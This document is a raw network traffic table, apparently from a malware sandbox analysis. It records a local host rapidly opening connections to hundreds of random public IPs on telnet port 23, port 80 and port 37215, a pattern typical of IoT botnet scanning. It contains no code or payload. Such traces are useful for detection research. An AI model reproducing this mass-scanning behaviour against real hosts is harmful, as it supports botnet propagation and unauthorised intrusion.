Jan 30, 2025 10:43:00.072206974 CET	23	63367	32.190.219.164	192.168.2.14
Jan 30, 2025 10:43:00.072212934 CET	63367	23	192.168.2.14	89.139.115.71
Jan 30, 2025 10:43:00.072217941 CET	23	63367	72.7.15.95	192.168.2.14
Jan 30, 2025 10:43:00.072230101 CET	63367	23	192.168.2.14	95.60.246.26
Jan 30, 2025 10:43:00.072230101 CET	63367	23	192.168.2.14	171.91.134.82
Jan 30, 2025 10:43:00.072232008 CET	23	63367	209.52.71.166	192.168.2.14
Jan 30, 2025 10:43:00.072240114 CET	63367	23	192.168.2.14	32.190.219.164
Jan 30, 2025 10:43:00.072247028 CET	63367	23	192.168.2.14	72.7.15.95
Jan 30, 2025 10:43:00.072258949 CET	63367	23	192.168.2.14	209.52.71.166
Jan 30, 2025 10:43:00.072448015 CET	62855	80	192.168.2.14	41.22.234.221
Jan 30, 2025 10:43:00.072448969 CET	23	63367	86.123.84.50	192.168.2.14
Jan 30, 2025 10:43:00.072453976 CET	62855	80	192.168.2.14	111.127.118.16
Jan 30, 2025 10:43:00.072460890 CET	23	63367	77.195.104.150	192.168.2.14
Jan 30, 2025 10:43:00.072463036 CET	62855	80	192.168.2.14	152.0.81.93
Jan 30, 2025 10:43:00.072470903 CET	23	63367	79.69.151.95	192.168.2.14
Jan 30, 2025 10:43:00.072477102 CET	62855	80	192.168.2.14	196.4.45.89
Jan 30, 2025 10:43:00.072482109 CET	63367	23	192.168.2.14	86.123.84.50
Jan 30, 2025 10:43:00.072483063 CET	23	63367	142.250.235.70	192.168.2.14
Jan 30, 2025 10:43:00.072494030 CET	23	63367	113.223.54.128	192.168.2.14
Jan 30, 2025 10:43:00.072496891 CET	63367	23	192.168.2.14	77.195.104.150
Jan 30, 2025 10:43:00.072510958 CET	63367	23	192.168.2.14	79.69.151.95
Jan 30, 2025 10:43:00.072510958 CET	63367	23	192.168.2.14	142.250.235.70
Jan 30, 2025 10:43:00.072520971 CET	63367	23	192.168.2.14	113.223.54.128
Jan 30, 2025 10:43:00.072536945 CET	62855	80	192.168.2.14	150.19.61.100
Jan 30, 2025 10:43:00.072551012 CET	62855	80	192.168.2.14	158.54.39.98
Jan 30, 2025 10:43:00.072555065 CET	62855	80	192.168.2.14	166.93.109.179
Jan 30, 2025 10:43:00.072557926 CET	62855	80	192.168.2.14	116.153.0.130
Jan 30, 2025 10:43:00.072642088 CET	23	63367	193.118.188.66	192.168.2.14
Jan 30, 2025 10:43:00.072652102 CET	23	63367	81.108.185.6	192.168.2.14
Jan 30, 2025 10:43:00.072664022 CET	23	63367	34.87.37.54	192.168.2.14
Jan 30, 2025 10:43:00.072674036 CET	23	63367	36.70.181.132	192.168.2.14
Jan 30, 2025 10:43:00.072674036 CET	63367	23	192.168.2.14	193.118.188.66
Jan 30, 2025 10:43:00.072685003 CET	23	63367	53.91.60.44	192.168.2.14
Jan 30, 2025 10:43:00.072695017 CET	23	63367	159.116.102.56	192.168.2.14
Jan 30, 2025 10:43:00.072700024 CET	23	63367	206.244.32.147	192.168.2.14
Jan 30, 2025 10:43:00.072704077 CET	23	63367	109.30.229.94	192.168.2.14
Jan 30, 2025 10:43:00.072707891 CET	63367	23	192.168.2.14	34.87.37.54
Jan 30, 2025 10:43:00.072710991 CET	63367	23	192.168.2.14	81.108.185.6
Jan 30, 2025 10:43:00.072710991 CET	23	63367	31.123.19.31	192.168.2.14
Jan 30, 2025 10:43:00.072720051 CET	23	63367	23.252.221.5	192.168.2.14
Jan 30, 2025 10:43:00.072725058 CET	23	63367	88.195.242.125	192.168.2.14
Jan 30, 2025 10:43:00.072725058 CET	63367	23	192.168.2.14	36.70.181.132
Jan 30, 2025 10:43:00.072736979 CET	23	63367	126.151.239.249	192.168.2.14
Jan 30, 2025 10:43:00.072737932 CET	63367	23	192.168.2.14	53.91.60.44
Jan 30, 2025 10:43:00.072745085 CET	63367	23	192.168.2.14	159.116.102.56
Jan 30, 2025 10:43:00.072746038 CET	63367	23	192.168.2.14	109.30.229.94
Jan 30, 2025 10:43:00.072747946 CET	63367	23	192.168.2.14	206.244.32.147
Jan 30, 2025 10:43:00.072748899 CET	23	63367	197.174.88.241	192.168.2.14
Jan 30, 2025 10:43:00.072747946 CET	63367	23	192.168.2.14	31.123.19.31
Jan 30, 2025 10:43:00.072761059 CET	23	63367	149.1.186.30	192.168.2.14
Jan 30, 2025 10:43:00.072767019 CET	63367	23	192.168.2.14	88.195.242.125
Jan 30, 2025 10:43:00.072767973 CET	63367	23	192.168.2.14	23.252.221.5
Jan 30, 2025 10:43:00.072771072 CET	63367	23	192.168.2.14	126.151.239.249
Jan 30, 2025 10:43:00.072771072 CET	63367	23	192.168.2.14	197.174.88.241
Jan 30, 2025 10:43:00.072772980 CET	23	63367	85.93.157.253	192.168.2.14
Jan 30, 2025 10:43:00.072788000 CET	23	63367	126.247.189.211	192.168.2.14
Jan 30, 2025 10:43:00.072796106 CET	63367	23	192.168.2.14	149.1.186.30
Jan 30, 2025 10:43:00.072798014 CET	23	63367	51.129.244.191	192.168.2.14
Jan 30, 2025 10:43:00.072808981 CET	23	63367	60.98.153.25	192.168.2.14
Jan 30, 2025 10:43:00.072813988 CET	63367	23	192.168.2.14	85.93.157.253
Jan 30, 2025 10:43:00.072815895 CET	63367	23	192.168.2.14	126.247.189.211
Jan 30, 2025 10:43:00.072818995 CET	23	63367	105.4.240.45	192.168.2.14
Jan 30, 2025 10:43:00.072829962 CET	23	63367	83.174.171.64	192.168.2.14
Jan 30, 2025 10:43:00.072833061 CET	63367	23	192.168.2.14	51.129.244.191
Jan 30, 2025 10:43:00.072841883 CET	23	63367	42.218.145.109	192.168.2.14
Jan 30, 2025 10:43:00.072844982 CET	63367	23	192.168.2.14	60.98.153.25
Jan 30, 2025 10:43:00.072853088 CET	23	63367	139.111.15.242	192.168.2.14
Jan 30, 2025 10:43:00.072854042 CET	63367	23	192.168.2.14	105.4.240.45
Jan 30, 2025 10:43:00.072856903 CET	63367	23	192.168.2.14	83.174.171.64
Jan 30, 2025 10:43:00.072865963 CET	23	63367	110.158.102.230	192.168.2.14
Jan 30, 2025 10:43:00.072881937 CET	63367	23	192.168.2.14	139.111.15.242
Jan 30, 2025 10:43:00.072886944 CET	63367	23	192.168.2.14	42.218.145.109
Jan 30, 2025 10:43:00.072904110 CET	63367	23	192.168.2.14	110.158.102.230
Jan 30, 2025 10:43:00.073081017 CET	60295	37215	192.168.2.14	197.12.222.92
Jan 30, 2025 10:43:00.073122978 CET	60295	37215	192.168.2.14	197.144.107.189
Jan 30, 2025 10:43:00.073148012 CET	60295	37215	192.168.2.14	156.206.161.24
Jan 30, 2025 10:43:00.073164940 CET	60295	37215	192.168.2.14	197.71.16.66
Jan 30, 2025 10:43:00.073179960 CET	60295	37215	192.168.2.14	41.16.174.211
Jan 30, 2025 10:43:00.073180914 CET	60295	37215	192.168.2.14	197.228.237.204
Jan 30, 2025 10:43:00.073196888 CET	60295	37215	192.168.2.14	197.44.142.40
Jan 30, 2025 10:43:00.073201895 CET	60295	37215	192.168.2.14	156.41.245.181
Jan 30, 2025 10:43:00.073236942 CET	23	63367	107.228.161.115	192.168.2.14
Jan 30, 2025 10:43:00.073236942 CET	60295	37215	192.168.2.14	156.243.164.1
Jan 30, 2025 10:43:00.073239088 CET	60295	37215	192.168.2.14	197.53.105.91
Jan 30, 2025 10:43:00.073247910 CET	23	63367	187.96.102.64	192.168.2.14
Jan 30, 2025 10:43:00.073256016 CET	60295	37215	192.168.2.14	41.134.176.191
Jan 30, 2025 10:43:00.073257923 CET	60295	37215	192.168.2.14	197.85.67.201
Jan 30, 2025 10:43:00.073259115 CET	23	63367	96.213.189.181	192.168.2.14
Jan 30, 2025 10:43:00.073259115 CET	60295	37215	192.168.2.14	197.31.128.169
Jan 30, 2025 10:43:00.073259115 CET	60295	37215	192.168.2.14	41.86.46.162
Jan 30, 2025 10:43:00.073270082 CET	63367	23	192.168.2.14	107.228.161.115
Jan 30, 2025 10:43:00.073271990 CET	23	63367	179.134.93.92	192.168.2.14
Jan 30, 2025 10:43:00.073280096 CET	60295	37215	192.168.2.14	41.124.141.19
Jan 30, 2025 10:43:00.073280096 CET	63367	23	192.168.2.14	187.96.102.64
Jan 30, 2025 10:43:00.073285103 CET	23	63367	83.130.17.209	192.168.2.14
Jan 30, 2025 10:43:00.073286057 CET	60295	37215	192.168.2.14	197.204.135.200
Jan 30, 2025 10:43:00.073288918 CET	60295	37215	192.168.2.14	156.64.140.217
Jan 30, 2025 10:43:00.073295116 CET	23	63367	68.22.236.17	192.168.2.14
Jan 30, 2025 10:43:00.073303938 CET	63367	23	192.168.2.14	96.213.189.181
Jan 30, 2025 10:43:00.073303938 CET	63367	23	192.168.2.14	179.134.93.92
Jan 30, 2025 10:43:00.073306084 CET	23	63367	142.227.3.36	192.168.2.14
Jan 30, 2025 10:43:00.073318958 CET	23	63367	179.50.102.98	192.168.2.14
Jan 30, 2025 10:43:00.073324919 CET	63367	23	192.168.2.14	83.130.17.209
Jan 30, 2025 10:43:00.073332071 CET	63367	23	192.168.2.14	68.22.236.17
Jan 30, 2025 10:43:00.073339939 CET	63367	23	192.168.2.14	142.227.3.36
Jan 30, 2025 10:43:00.073348045 CET	63367	23	192.168.2.14	179.50.102.98
Jan 30, 2025 10:43:00.073374987 CET	60295	37215	192.168.2.14	156.16.203.255
Jan 30, 2025 10:43:00.073374987 CET	60295	37215	192.168.2.14	197.65.36.49
Jan 30, 2025 10:43:00.073389053 CET	60295	37215	192.168.2.14	197.133.221.69
Jan 30, 2025 10:43:00.073389053 CET	23	63367	129.34.17.208	192.168.2.14
Jan 30, 2025 10:43:00.073395014 CET	60295	37215	192.168.2.14	41.141.84.177
Jan 30, 2025 10:43:00.073395014 CET	60295	37215	192.168.2.14	41.118.208.75
Jan 30, 2025 10:43:00.073395014 CET	60295	37215	192.168.2.14	41.238.147.20
Jan 30, 2025 10:43:00.073396921 CET	60295	37215	192.168.2.14	156.216.90.55
Jan 30, 2025 10:43:00.073400974 CET	23	63367	109.170.147.185	192.168.2.14
Jan 30, 2025 10:43:00.073406935 CET	60295	37215	192.168.2.14	156.163.216.187
Jan 30, 2025 10:43:00.073406935 CET	60295	37215	192.168.2.14	41.45.76.214
Jan 30, 2025 10:43:00.073411942 CET	23	63367	73.44.201.218	192.168.2.14
Jan 30, 2025 10:43:00.073426008 CET	63367	23	192.168.2.14	109.170.147.185
Jan 30, 2025 10:43:00.073426008 CET	63367	23	192.168.2.14	129.34.17.208
Jan 30, 2025 10:43:00.073427916 CET	23	63367	84.9.216.1	192.168.2.14
Jan 30, 2025 10:43:00.073440075 CET	23	63367	62.254.181.122	192.168.2.14
Jan 30, 2025 10:43:00.073443890 CET	63367	23	192.168.2.14	73.44.201.218
Jan 30, 2025 10:43:00.073446035 CET	60295	37215	192.168.2.14	41.144.219.138
Jan 30, 2025 10:43:00.073451996 CET	23	63367	161.112.210.216	192.168.2.14
Jan 30, 2025 10:43:00.073462009 CET	60295	37215	192.168.2.14	197.180.132.126
Jan 30, 2025 10:43:00.073466063 CET	23	63367	188.28.141.10	192.168.2.14
Jan 30, 2025 10:43:00.073467016 CET	60295	37215	192.168.2.14	197.195.129.65
Jan 30, 2025 10:43:00.073467970 CET	63367	23	192.168.2.14	84.9.216.1
Jan 30, 2025 10:43:00.073472977 CET	63367	23	192.168.2.14	62.254.181.122
Jan 30, 2025 10:43:00.073474884 CET	60295	37215	192.168.2.14	197.148.61.76
Jan 30, 2025 10:43:00.073476076 CET	23	63367	93.179.205.231	192.168.2.14
Jan 30, 2025 10:43:00.073487997 CET	23	63367	175.68.44.121	192.168.2.14
Jan 30, 2025 10:43:00.073493958 CET	63367	23	192.168.2.14	161.112.210.216
Jan 30, 2025 10:43:00.073494911 CET	63367	23	192.168.2.14	188.28.141.10
Jan 30, 2025 10:43:00.073501110 CET	63367	23	192.168.2.14	93.179.205.231
Jan 30, 2025 10:43:00.073509932 CET	23	63367	167.192.234.66	192.168.2.14
Jan 30, 2025 10:43:00.073519945 CET	23	63367	192.173.4.247	192.168.2.14
Jan 30, 2025 10:43:00.073530912 CET	23	63367	50.68.196.123	192.168.2.14
Jan 30, 2025 10:43:00.073539019 CET	63367	23	192.168.2.14	175.68.44.121
Jan 30, 2025 10:43:00.073539019 CET	63367	23	192.168.2.14	167.192.234.66
Jan 30, 2025 10:43:00.073543072 CET	23	63367	82.54.241.55	192.168.2.14
Jan 30, 2025 10:43:00.073554039 CET	23	63367	155.208.19.251	192.168.2.14
Jan 30, 2025 10:43:00.073556900 CET	63367	23	192.168.2.14	192.173.4.247
Jan 30, 2025 10:43:00.073560953 CET	63367	23	192.168.2.14	50.68.196.123
Jan 30, 2025 10:43:00.073565006 CET	23	63367	132.246.186.50	192.168.2.14
Jan 30, 2025 10:43:00.073575020 CET	23	63367	188.103.217.227	192.168.2.14
Jan 30, 2025 10:43:00.073581934 CET	63367	23	192.168.2.14	155.208.19.251
Jan 30, 2025 10:43:00.073585033 CET	63367	23	192.168.2.14	82.54.241.55
Jan 30, 2025 10:43:00.073585987 CET	23	63367	67.245.113.227	192.168.2.14
Jan 30, 2025 10:43:00.073597908 CET	23	63367	211.201.155.223	192.168.2.14
Jan 30, 2025 10:43:00.073597908 CET	63367	23	192.168.2.14	132.246.186.50
Jan 30, 2025 10:43:00.073607922 CET	23	63367	102.44.15.100	192.168.2.14
Jan 30, 2025 10:43:00.073615074 CET	63367	23	192.168.2.14	188.103.217.227
Jan 30, 2025 10:43:00.073618889 CET	23	63367	197.114.200.231	192.168.2.14
Jan 30, 2025 10:43:00.073625088 CET	63367	23	192.168.2.14	211.201.155.223
Jan 30, 2025 10:43:00.073628902 CET	63367	23	192.168.2.14	67.245.113.227
Jan 30, 2025 10:43:00.073638916 CET	63367	23	192.168.2.14	102.44.15.100
Jan 30, 2025 10:43:00.073659897 CET	63367	23	192.168.2.14	197.114.200.231
Jan 30, 2025 10:43:00.073673964 CET	60295	37215	192.168.2.14	41.53.67.92
Jan 30, 2025 10:43:00.073674917 CET	60295	37215	192.168.2.14	156.166.137.247
Jan 30, 2025 10:43:00.073681116 CET	23	63367	43.82.44.71	192.168.2.14
Jan 30, 2025 10:43:00.073684931 CET	60295	37215	192.168.2.14	156.92.103.36
Jan 30, 2025 10:43:00.073687077 CET	60295	37215	192.168.2.14	156.97.73.122
Jan 30, 2025 10:43:00.073705912 CET	60295	37215	192.168.2.14	41.194.4.99
Jan 30, 2025 10:43:00.073705912 CET	60295	37215	192.168.2.14	156.176.33.97
Jan 30, 2025 10:43:00.073710918 CET	60295	37215	192.168.2.14	197.128.32.172
Jan 30, 2025 10:43:00.073718071 CET	60295	37215	192.168.2.14	197.134.62.103
Jan 30, 2025 10:43:00.073730946 CET	63367	23	192.168.2.14	43.82.44.71
Jan 30, 2025 10:43:00.073731899 CET	60295	37215	192.168.2.14	197.146.181.81
Jan 30, 2025 10:43:00.073733091 CET	60295	37215	192.168.2.14	197.149.27.207
Jan 30, 2025 10:43:00.073733091 CET	60295	37215	192.168.2.14	156.87.76.45
Jan 30, 2025 10:43:00.073750973 CET	60295	37215	192.168.2.14	156.231.168.97
Jan 30, 2025 10:43:00.073751926 CET	60295	37215	192.168.2.14	156.4.208.80
Jan 30, 2025 10:43:00.073760033 CET	60295	37215	192.168.2.14	41.182.144.101
Jan 30, 2025 10:43:00.073764086 CET	60295	37215	192.168.2.14	41.66.252.197
Jan 30, 2025 10:43:00.073774099 CET	60295	37215	192.168.2.14	197.187.41.144
Jan 30, 2025 10:43:00.073775053 CET	60295	37215	192.168.2.14	41.154.94.33
Jan 30, 2025 10:43:00.073785067 CET	60295	37215	192.168.2.14	41.78.74.145
Jan 30, 2025 10:43:00.073793888 CET	60295	37215	192.168.2.14	41.245.236.253
Jan 30, 2025 10:43:00.073803902 CET	60295	37215	192.168.2.14	156.111.102.199
Jan 30, 2025 10:43:00.073803902 CET	60295	37215	192.168.2.14	41.165.52.54
Jan 30, 2025 10:43:00.073812008 CET	60295	37215	192.168.2.14	197.65.11.188
Jan 30, 2025 10:43:00.073829889 CET	60295	37215	192.168.2.14	197.37.21.150
Jan 30, 2025 10:43:00.073841095 CET	60295	37215	192.168.2.14	41.243.155.38
Jan 30, 2025 10:43:00.073843956 CET	60295	37215	192.168.2.14	41.163.114.204
Jan 30, 2025 10:43:00.073851109 CET	60295	37215	192.168.2.14	156.181.137.13
Jan 30, 2025 10:43:00.073863983 CET	60295	37215	192.168.2.14	41.230.86.17
Jan 30, 2025 10:43:00.073863983 CET	60295	37215	192.168.2.14	41.111.49.52
Jan 30, 2025 10:43:00.073879004 CET	60295	37215	192.168.2.14	197.248.192.230
Jan 30, 2025 10:43:00.073883057 CET	60295	37215	192.168.2.14	197.29.124.131
Jan 30, 2025 10:43:00.073883057 CET	60295	37215	192.168.2.14	156.53.89.62
Jan 30, 2025 10:43:00.073884964 CET	60295	37215	192.168.2.14	41.104.121.199
Jan 30, 2025 10:43:00.073888063 CET	60295	37215	192.168.2.14	156.28.238.60
Jan 30, 2025 10:43:00.073896885 CET	60295	37215	192.168.2.14	156.202.198.58
Jan 30, 2025 10:43:00.073910952 CET	60295	37215	192.168.2.14	41.226.208.207
Jan 30, 2025 10:43:00.073926926 CET	60295	37215	192.168.2.14	41.59.40.152
Jan 30, 2025 10:43:00.073929071 CET	60295	37215	192.168.2.14	197.161.115.45
Jan 30, 2025 10:43:00.073934078 CET	60295	37215	192.168.2.14	156.207.133.219
Jan 30, 2025 10:43:00.073936939 CET	60295	37215	192.168.2.14	197.236.246.218
Jan 30, 2025 10:43:00.073954105 CET	60295	37215	192.168.2.14	41.5.211.97
Jan 30, 2025 10:43:00.073954105 CET	60295	37215	192.168.2.14	156.11.51.223
Jan 30, 2025 10:43:00.073956013 CET	60295	37215	192.168.2.14	156.207.98.73
Jan 30, 2025 10:43:00.073957920 CET	60295	37215	192.168.2.14	156.157.30.65
Jan 30, 2025 10:43:00.073971987 CET	60295	37215	192.168.2.14	156.134.209.109
Jan 30, 2025 10:43:00.073977947 CET	60295	37215	192.168.2.14	41.25.206.165
Jan 30, 2025 10:43:00.073990107 CET	60295	37215	192.168.2.14	156.148.82.154
Jan 30, 2025 10:43:00.073992968 CET	60295	37215	192.168.2.14	41.177.115.24
Jan 30, 2025 10:43:00.073992968 CET	60295	37215	192.168.2.14	41.235.214.242
Jan 30, 2025 10:43:00.074004889 CET	60295	37215	192.168.2.14	156.101.253.160
Jan 30, 2025 10:43:00.074011087 CET	60295	37215	192.168.2.14	41.134.164.126
Jan 30, 2025 10:43:00.074023008 CET	60295	37215	192.168.2.14	197.205.93.13
Jan 30, 2025 10:43:00.074029922 CET	60295	37215	192.168.2.14	156.95.156.4
Jan 30, 2025 10:43:00.074038982 CET	60295	37215	192.168.2.14	156.65.121.164
Jan 30, 2025 10:43:00.074318886 CET	60295	37215	192.168.2.14	41.17.215.186
Jan 30, 2025 10:43:00.074322939 CET	60295	37215	192.168.2.14	41.87.20.200
Jan 30, 2025 10:43:00.074336052 CET	60295	37215	192.168.2.14	156.241.231.27
Jan 30, 2025 10:43:00.074343920 CET	60295	37215	192.168.2.14	156.217.75.164
Jan 30, 2025 10:43:00.074347973 CET	60295	37215	192.168.2.14	41.156.151.89
Jan 30, 2025 10:43:00.074358940 CET	60295	37215	192.168.2.14	197.249.223.167
Jan 30, 2025 10:43:00.074362993 CET	60295	37215	192.168.2.14	41.131.51.130
Jan 30, 2025 10:43:00.074362993 CET	60295	37215	192.168.2.14	156.210.100.90
Jan 30, 2025 10:43:00.074367046 CET	60295	37215	192.168.2.14	156.250.227.105
Jan 30, 2025 10:43:00.074382067 CET	60295	37215	192.168.2.14	41.240.66.170
Jan 30, 2025 10:43:00.074384928 CET	60295	37215	192.168.2.14	156.14.50.198
Jan 30, 2025 10:43:00.074388027 CET	60295	37215	192.168.2.14	197.70.10.44
Jan 30, 2025 10:43:00.074388981 CET	60295	37215	192.168.2.14	156.138.175.91
Jan 30, 2025 10:43:00.074388027 CET	60295	37215	192.168.2.14	197.11.113.184
Jan 30, 2025 10:43:00.074389935 CET	60295	37215	192.168.2.14	197.145.76.200
Jan 30, 2025 10:43:00.074398994 CET	60295	37215	192.168.2.14	156.133.210.0
Jan 30, 2025 10:43:00.074405909 CET	60295	37215	192.168.2.14	41.135.79.197
Jan 30, 2025 10:43:00.074419975 CET	60295	37215	192.168.2.14	156.9.15.50
Jan 30, 2025 10:43:00.074421883 CET	60295	37215	192.168.2.14	197.56.227.125
Jan 30, 2025 10:43:00.074421883 CET	60295	37215	192.168.2.14	41.114.95.232
Jan 30, 2025 10:43:00.074430943 CET	60295	37215	192.168.2.14	197.69.65.181
Jan 30, 2025 10:43:00.074475050 CET	80	62855	47.252.222.92	192.168.2.14
Jan 30, 2025 10:43:00.074486017 CET	80	62855	96.144.107.189	192.168.2.14
Jan 30, 2025 10:43:00.074496984 CET	80	62855	173.5.157.24	192.168.2.14
Jan 30, 2025 10:43:00.074512005 CET	62855	80	192.168.2.14	47.252.222.92
Jan 30, 2025 10:43:00.074516058 CET	80	62855	149.28.47.9	192.168.2.14
Jan 30, 2025 10:43:00.074516058 CET	62855	80	192.168.2.14	96.144.107.189
Jan 30, 2025 10:43:00.074526072 CET	80	62855	73.211.22.163	192.168.2.14
Jan 30, 2025 10:43:00.074528933 CET	62855	80	192.168.2.14	173.5.157.24
Jan 30, 2025 10:43:00.074536085 CET	80	62855	202.122.36.255	192.168.2.14
Jan 30, 2025 10:43:00.074547052 CET	80	62855	133.153.249.33	192.168.2.14
Jan 30, 2025 10:43:00.074549913 CET	62855	80	192.168.2.14	149.28.47.9
Jan 30, 2025 10:43:00.074565887 CET	62855	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:00.074569941 CET	62855	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:00.074579954 CET	62855	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:00.074866056 CET	80	62855	5.118.233.252	192.168.2.14
Jan 30, 2025 10:43:00.074877024 CET	80	62855	136.136.213.67	192.168.2.14
Jan 30, 2025 10:43:00.074887991 CET	80	62855	149.7.19.65	192.168.2.14
Jan 30, 2025 10:43:00.074899912 CET	80	62855	17.43.38.50	192.168.2.14
Jan 30, 2025 10:43:00.074907064 CET	62855	80	192.168.2.14	5.118.233.252
Jan 30, 2025 10:43:00.074911118 CET	80	62855	72.103.254.195	192.168.2.14
Jan 30, 2025 10:43:00.074915886 CET	62855	80	192.168.2.14	149.7.19.65
Jan 30, 2025 10:43:00.074917078 CET	62855	80	192.168.2.14	136.136.213.67
Jan 30, 2025 10:43:00.074930906 CET	62855	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:00.074930906 CET	80	62855	120.23.138.222	192.168.2.14
Jan 30, 2025 10:43:00.074940920 CET	62855	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:00.074944019 CET	80	62855	146.177.21.208	192.168.2.14
Jan 30, 2025 10:43:00.074956894 CET	80	62855	101.30.234.47	192.168.2.14
Jan 30, 2025 10:43:00.074966908 CET	80	62855	173.165.28.199	192.168.2.14
Jan 30, 2025 10:43:00.074987888 CET	62855	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:00.074995041 CET	62855	80	192.168.2.14	146.177.21.208
Jan 30, 2025 10:43:00.074995041 CET	62855	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:00.075035095 CET	62855	80	192.168.2.14	173.165.28.199
Jan 30, 2025 10:43:00.075248003 CET	80	62855	35.44.172.159	192.168.2.14
Jan 30, 2025 10:43:00.075259924 CET	80	62855	89.9.237.196	192.168.2.14
Jan 30, 2025 10:43:00.075270891 CET	80	62855	63.179.83.121	192.168.2.14
Jan 30, 2025 10:43:00.075285912 CET	62855	80	192.168.2.14	35.44.172.159
Jan 30, 2025 10:43:00.075289011 CET	62855	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:00.075292110 CET	80	62855	88.245.243.24	192.168.2.14
Jan 30, 2025 10:43:00.075299978 CET	80	62855	114.171.50.154	192.168.2.14
Jan 30, 2025 10:43:00.075309992 CET	80	62855	93.24.133.253	192.168.2.14
Jan 30, 2025 10:43:00.075328112 CET	80	62855	41.102.78.109	192.168.2.14
Jan 30, 2025 10:43:00.075339079 CET	80	62855	163.203.166.137	192.168.2.14
Jan 30, 2025 10:43:00.075345039 CET	62855	80	192.168.2.14	63.179.83.121
Jan 30, 2025 10:43:00.075349092 CET	62855	80	192.168.2.14	88.245.243.24
Jan 30, 2025 10:43:00.075357914 CET	62855	80	192.168.2.14	93.24.133.253
Jan 30, 2025 10:43:00.075357914 CET	62855	80	192.168.2.14	114.171.50.154
Jan 30, 2025 10:43:00.075366974 CET	62855	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:00.075376034 CET	62855	80	192.168.2.14	163.203.166.137
Jan 30, 2025 10:43:00.075387001 CET	80	62855	71.52.157.180	192.168.2.14
Jan 30, 2025 10:43:00.075397968 CET	80	62855	102.228.247.160	192.168.2.14
Jan 30, 2025 10:43:00.075404882 CET	60295	37215	192.168.2.14	156.170.26.69
Jan 30, 2025 10:43:00.075404882 CET	60295	37215	192.168.2.14	41.249.251.224
Jan 30, 2025 10:43:00.075407982 CET	80	62855	156.114.249.224	192.168.2.14
Jan 30, 2025 10:43:00.075419903 CET	80	62855	40.97.127.126	192.168.2.14
Jan 30, 2025 10:43:00.075429916 CET	62855	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:00.075431108 CET	80	62855	221.204.118.50	192.168.2.14
Jan 30, 2025 10:43:00.075431108 CET	62855	80	192.168.2.14	102.228.247.160
Jan 30, 2025 10:43:00.075440884 CET	62855	80	192.168.2.14	156.114.249.224
Jan 30, 2025 10:43:00.075442076 CET	80	62855	54.87.158.117	192.168.2.14
Jan 30, 2025 10:43:00.075444937 CET	60295	37215	192.168.2.14	41.205.13.87
Jan 30, 2025 10:43:00.075449944 CET	62855	80	192.168.2.14	40.97.127.126
Jan 30, 2025 10:43:00.075453043 CET	80	62855	167.95.37.105	192.168.2.14
Jan 30, 2025 10:43:00.075460911 CET	62855	80	192.168.2.14	221.204.118.50
Jan 30, 2025 10:43:00.075460911 CET	62855	80	192.168.2.14	54.87.158.117
Jan 30, 2025 10:43:00.075463057 CET	60295	37215	192.168.2.14	41.225.181.7
Jan 30, 2025 10:43:00.075464010 CET	80	62855	202.158.129.118	192.168.2.14
Jan 30, 2025 10:43:00.075474024 CET	80	62855	24.29.122.83	192.168.2.14
Jan 30, 2025 10:43:00.075489044 CET	60295	37215	192.168.2.14	156.10.154.107
Jan 30, 2025 10:43:00.075490952 CET	62855	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:00.075490952 CET	62855	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:00.075499058 CET	80	62855	109.93.61.91	192.168.2.14
Jan 30, 2025 10:43:00.075500011 CET	60295	37215	192.168.2.14	156.131.21.58
Jan 30, 2025 10:43:00.075510025 CET	80	62855	222.8.71.76	192.168.2.14
Jan 30, 2025 10:43:00.075510025 CET	62855	80	192.168.2.14	24.29.122.83
Jan 30, 2025 10:43:00.075510979 CET	60295	37215	192.168.2.14	197.135.98.235
Jan 30, 2025 10:43:00.075519085 CET	60295	37215	192.168.2.14	197.213.129.254
Jan 30, 2025 10:43:00.075519085 CET	60295	37215	192.168.2.14	41.251.168.171
Jan 30, 2025 10:43:00.075519085 CET	60295	37215	192.168.2.14	41.228.227.249
Jan 30, 2025 10:43:00.075520992 CET	80	62855	180.246.42.84	192.168.2.14
Jan 30, 2025 10:43:00.075524092 CET	60295	37215	192.168.2.14	41.34.179.158
Jan 30, 2025 10:43:00.075536966 CET	62855	80	192.168.2.14	109.93.61.91
Jan 30, 2025 10:43:00.075536966 CET	62855	80	192.168.2.14	222.8.71.76
Jan 30, 2025 10:43:00.075536966 CET	60295	37215	192.168.2.14	197.230.43.64
Jan 30, 2025 10:43:00.075560093 CET	60295	37215	192.168.2.14	156.35.146.159
Jan 30, 2025 10:43:00.075560093 CET	62855	80	192.168.2.14	180.246.42.84
Jan 30, 2025 10:43:00.075561047 CET	60295	37215	192.168.2.14	41.184.117.151
Jan 30, 2025 10:43:00.075560093 CET	60295	37215	192.168.2.14	197.38.35.168
Jan 30, 2025 10:43:00.075573921 CET	60295	37215	192.168.2.14	41.216.94.49
Jan 30, 2025 10:43:00.075573921 CET	60295	37215	192.168.2.14	197.153.28.146
Jan 30, 2025 10:43:00.075586081 CET	60295	37215	192.168.2.14	156.63.12.34
Jan 30, 2025 10:43:00.075586081 CET	60295	37215	192.168.2.14	197.162.175.41
Jan 30, 2025 10:43:00.075588942 CET	60295	37215	192.168.2.14	156.222.104.17
Jan 30, 2025 10:43:00.075601101 CET	60295	37215	192.168.2.14	41.243.155.184
Jan 30, 2025 10:43:00.075607061 CET	60295	37215	192.168.2.14	156.84.34.85
Jan 30, 2025 10:43:00.075614929 CET	60295	37215	192.168.2.14	156.149.141.197
Jan 30, 2025 10:43:00.075629950 CET	60295	37215	192.168.2.14	41.241.162.23
Jan 30, 2025 10:43:00.075629950 CET	60295	37215	192.168.2.14	156.74.12.177
Jan 30, 2025 10:43:00.075633049 CET	60295	37215	192.168.2.14	197.136.129.0
Jan 30, 2025 10:43:00.075644016 CET	60295	37215	192.168.2.14	156.117.72.154
Jan 30, 2025 10:43:00.075648069 CET	60295	37215	192.168.2.14	197.158.187.101
Jan 30, 2025 10:43:00.075658083 CET	60295	37215	192.168.2.14	41.103.246.13
Jan 30, 2025 10:43:00.075660944 CET	60295	37215	192.168.2.14	156.85.45.214
